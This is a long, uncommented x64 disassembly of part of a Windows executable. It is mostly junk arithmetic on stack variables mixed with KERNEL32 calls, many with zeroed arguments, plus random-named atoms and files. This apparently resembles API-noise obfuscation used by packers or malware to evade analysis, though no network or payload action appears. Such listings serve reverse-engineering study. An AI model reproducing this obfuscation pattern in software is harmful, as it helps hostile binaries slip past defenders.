mov rdx, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6704], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xddb0], rax
movzx eax, word [0x1401c709c]
mov rcx, qword [rsp + 0xcaf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a48], ax
movzx ecx, word [rsp + 0x2388]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0xa330]
mov qword [rsp + 0xddb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6434], eax
mov eax, dword [rsp + 0x6684]
mov ecx, dword [rsp + 0x5e80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov dword [rcx], eax
movsx eax, byte [0x1401c8a2a]
movsx ecx, byte [rsp + 0x3bd]
and eax, ecx
mov byte [rsp + 0x2d3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0xf94]
movsx ecx, word [rsp + 0x1bf8]
sub eax, ecx
mov word [rsp + 0x1808], ax
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2228], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
sar eax, cl
mov word [0x1401c71c0], ax
lea rcx, [rsp + 0x1d700]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc560]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
mov qword [rsp + 0xddc0], rax
mov rax, qword [0x1401c7198]
movzx ecx, al
mov rax, qword [rsp + 0xc510]
shl rax, cl
mov qword [rsp + 0xd5a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xddc8], rax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee8]
sub eax, ecx
mov word [rsp + 0x1d3c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
mov rax, qword [0x1401c8d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5bdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3c8], al
mov rax, qword [rsp + 0xd850]
mov qword [rsp + 0xddd0], rax
mov rax, qword [rsp + 0xcaf8]
mov ecx, dword [0x1401c8a20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a00], eax
lea rax, [rsp + 0x374]
mov qword [rsp + 0xddd8], rax
movzx eax, word [rsp + 0x2190]
mov word [0x1401c8d90], ax
mov rax, qword [rsp + 0xce38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcad0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2438], ax
lea rcx, str.KNsyGd_J7j_B9yjvTAQ_oTU9y
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2074], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13a4], ax
mov r9d, 2
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xdc58]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6894], eax
lea rax, [rsp + 0xd450]
mov qword [rsp + 0xdde0], rax
movsx eax, byte [rsp + 0x3ca]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov byte [rcx], al
mov rax, qword [section..data]
mov qword [rsp + 0xdde8], rax
lea rcx, [rsp + 0x1d480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcd60]
mov ecx, dword [rsp + 0x65d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x595c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6748], eax
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2150]
and eax, ecx
mov word [rsp + 0x233c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6898], eax
movzx eax, word [0x1401c7120]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x107c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6780], eax
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd288]
sar rax, cl
mov qword [0x1401c7048], rax
movzx ecx, word [rsp + 0x2328]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
mov rax, qword [0x1401c8bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e4c], ax
lea rdx, [rsp + 0x26178]
mov rcx, qword [rsp + 0xdc58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x689c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx ecx, word [rsp + 0x2448]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x210c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xddf0], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf68]
mov qword [rsp + 0xddf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf98], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64ec], eax
lea rax, section..data
mov qword [rsp + 0xde00], rax
lea rcx, str.ZIl3ATpv_Yg_NKlo_AaRv9jO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24a4], ax
mov rax, qword [rsp + 0xcde8]
mov ecx, dword [rsp + 0x6138]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x59f4], eax
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6708], eax
mov rax, qword [rsp + 0xdb60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x38d]
add eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xda08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
add eax, ecx
mov byte [rsp + 0x3d2], al
movzx ecx, word [rsp + 0x22e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2504], ax
movsx eax, word [rsp + 0x2034]
movsx ecx, word [0x1401c8bb8]
add eax, ecx
mov word [0x1401c71c4], ax
mov rax, qword [rsp + 0xc888]
movzx eax, word [rax]
mov word [rsp + 0x2508], ax
mov rax, qword [rsp + 0xd508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a48]
sar eax, cl
mov word [rsp + 0x24e0], ax
mov r9d, 2
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xcc78]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x674c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d598]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401c8c00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2458]
shl eax, cl
mov rcx, qword [rsp + 0xcbb0]
mov word [rcx], ax
lea rax, [rsp + 0x21f]
mov qword [rsp + 0xde08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x687c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xc6d0]
mov rcx, qword [rsp + 0xd2f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6604], eax
mov rax, qword [rsp + 0xcb70]
mov rcx, qword [rsp + 0xd7d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xab20], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6540], eax
lea rcx, str.TdX_A7oT_CcSToi
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x250c], ax
lea rdx, [rsp + 0x262c8]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6530], eax
movsx eax, word [rsp + 0x23c0]
mov rcx, qword [rsp + 0xd060]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x178c], ax
movzx eax, word [rsp + 0x2200]
movzx ecx, word [rsp + 0x1f38]
sub eax, ecx
mov word [rsp + 0x222c], ax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0xce10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c7078], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xa1e0]
mov qword [rsp + 0xde10], rax
lea rcx, str.RjsVIDS9_ERq7CDSe_KLqxxH6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2510], ax
lea rcx, [rsp + 0x20218]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65cc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.7EJA9YXILxgxCWwnw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xde18], rax
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdf8]
shl rax, cl
mov rcx, qword [rsp + 0xce10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac70]
mov qword [rsp + 0xde20], rax
movzx eax, word [rsp + 0x248c]
mov rcx, qword [rsp + 0xdd00]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2378], ax
lea rax, [rsp + 0x398]
mov qword [rsp + 0xde28], rax
mov rax, qword [rsp + 0xc8c8]
mov rcx, qword [rsp + 0xc728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd3b0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xd4e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x17d], al
mov r9d, 1
lea r8, [rsp + 0xd438]
mov rdx, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6530], eax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xd418]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xde30], rax
mov rax, qword [rsp + 0xcd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5608]
add ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18a8], ax
movzx ecx, word [rsp + 0x2334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movzx eax, word [rsp + 0x1e54]
mov word [rsp + 0x2514], ax
movzx eax, word [rsp + 0x1fb8]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc24], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1fec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21a0], ax
mov rax, qword [0x1401c8bf8]
mov rcx, qword [rsp + 0xcc08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xc910]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a5], al
lea rax, [rsp + 0x655c]
mov qword [rsp + 0xde38], rax
movsx eax, word [rsp + 0x2100]
movsx ecx, word [rsp + 0x233c]
shl eax, cl
mov word [rsp + 0x2060], ax
lea rax, [rsp + 0x226c]
mov qword [0x1401c8d98], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcad8], rax
mov rax, qword [rsp + 0xdbb8]
mov rcx, qword [rsp + 0xd980]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdce0], rax
lea rax, [rsp + 0x1f3c]
mov qword [rsp + 0xde40], rax
movzx ecx, word [rsp + 0x2394]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2518], ax
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rdx, [rsp + 0x26290]
mov rcx, qword [rsp + 0xd7c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xcdb8]
mov ecx, dword [rsp + 0x597c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6674], eax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
mov byte [rsp + 0x3e7], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68a0], eax
mov rax, qword [rsp + 0xde00]
mov rcx, qword [rsp + 0xd778]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xc9b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rcx, [rsp + 0x1d7c8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [rsp + 0x16e]
movsx ecx, byte [rsp + 0x43]
sub eax, ecx
mov byte [rsp + 0x146], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xd5a8]
mov rcx, qword [rsp + 0xc8a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68a4], eax
lea rcx, str.YH2Dh_6nHlKbR_G8o_OnWjA8h
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24f4], ax
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov dword [rsp + 0x68a8], eax
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x22a8], ax
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
mov word [0x1401c8da0], ax
mov rax, qword [rsp + 0xcae0]
mov rcx, qword [0x1401c8a60]
mov qword [rsp + 0xde48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde48]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9958], rax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xb7b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd10], rax
lea rcx, str.sZoQDC_Ju5VV_X
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2320], ax
lea rax, [rsp + 0x2190]
mov qword [rsp + 0xde50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd010], rax
movzx eax, word [0x1401c709c]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
add eax, ecx
mov byte [rsp + 0x3b6], al
mov rax, qword [rsp + 0xcec0]
mov rax, qword [rax]
mov qword [rsp + 0xde58], rax
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
mov ecx, dword [0x1401c8c60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6728], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xd890]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, word [rsp + 0x23c0]
movsx ecx, word [rsp + 0x2168]
sar eax, cl
mov word [0x1401c8d40], ax
movzx eax, word [rsp + 0x2438]
movzx ecx, word [rsp + 0x2200]
shl eax, cl
mov word [rsp + 0x23a4], ax
mov r9d, 0x13d6
xor r8d, r8d
lea rdx, [rsp + 0xc490]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x64d0], eax
movzx ecx, word [rsp + 0x23b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x251c], ax
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xddd8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x68ac], eax
mov rax, qword [rsp + 0xdbf0]
mov rcx, qword [rsp + 0xd268]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd9e0], rax
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov dword [rsp + 0x68b0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xcf18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0a8], rax
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb20]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x22a0]
mov qword [0x1401c8da8], rax
mov rcx, qword [rsp + 0xd670]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x204b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xdd48]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
shl rax, cl
mov qword [rsp + 0xab00], rax
lea rax, [rsp + 0x1ce4]
mov qword [rsp + 0xde60], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd678]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2340]
or eax, ecx
mov word [rsp + 0x1f1c], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xc608]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd268]
mov qword [rcx], rax
mov edx, 0x1040
mov rcx, qword [rsp + 0xdbb0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6794], eax
lea rcx, [rsp + 0x201b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x376]
mov qword [rsp + 0xde68], rax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [0x1401c8a68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd228], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xd440]
mov eax, dword [rax]
mov dword [rsp + 0x68b4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2264], ax
mov rax, qword [rsp + 0x9f58]
mov rcx, qword [rsp + 0x9bd8]
and rcx, rax
mov rax, rcx
mov qword [0x1401c8b00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x668c], eax
mov rax, qword [rsp + 0xdcf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xddd8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x261], al
mov eax, dword [rsp + 0x67d8]
movzx ecx, al
mov eax, dword [rsp + 0x6734]
sar eax, cl
mov dword [rsp + 0x6674], eax
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2500]
or eax, ecx
mov rcx, qword [rsp + 0xcd08]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx eax, word [rsp + 0x24b0]
mov word [rsp + 0x2520], ax
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21f]
shl eax, cl
mov rcx, qword [rsp + 0xde08]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.cCN6bUInMJghYtx_rdRwBeaodPe3opS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xde70], rax
lea rax, [rsp + 0xb850]
mov qword [rsp + 0xde78], rax
mov eax, dword [rsp + 0x6684]
mov ecx, dword [rsp + 0x65d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bc4], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa68]
add eax, ecx
mov word [rsp + 0x1dd4], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a70], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66e8], eax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xdde0]
mov rcx, qword [rsp + 0xcf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xac70], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x652c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov qword [rsp + 0xde80], rax
mov rax, qword [rsp + 0xd678]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd528]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf00]
mov word [rcx], ax
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xdb90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x68b8], eax
mov rax, qword [rsp + 0xcd28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc10]
mov qword [rsp + 0xde88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd720]
mov qword [rcx], rax
mov eax, dword [rsp + 0x66e0]
mov dword [rsp + 0x68bc], eax
movsx eax, byte [0x1401c700d]
movsx ecx, byte [rsp + 0x3e0]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xd6a8]
mov rcx, qword [rsp + 0xdc48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6144], eax
mov edx, 0x232c
mov rcx, qword [rsp + 0xdd60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66a8], eax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [str.5qKr]
xor eax, ecx
mov rcx, qword [rsp + 0xd500]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0f0]
movzx eax, word [rax]
mov word [0x1401c8db0], ax
mov rax, qword [rsp + 0xd1b0]
movzx eax, word [rax]
mov word [rsp + 0x2524], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2330]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce38]
mov word [rcx], ax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0xbae0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab60], rax
mov eax, dword [rsp + 0x59e8]
mov rcx, qword [rsp + 0xde38]
mov qword [rsp + 0xde90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5810], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0xdd18]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3ac], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xc5a8]
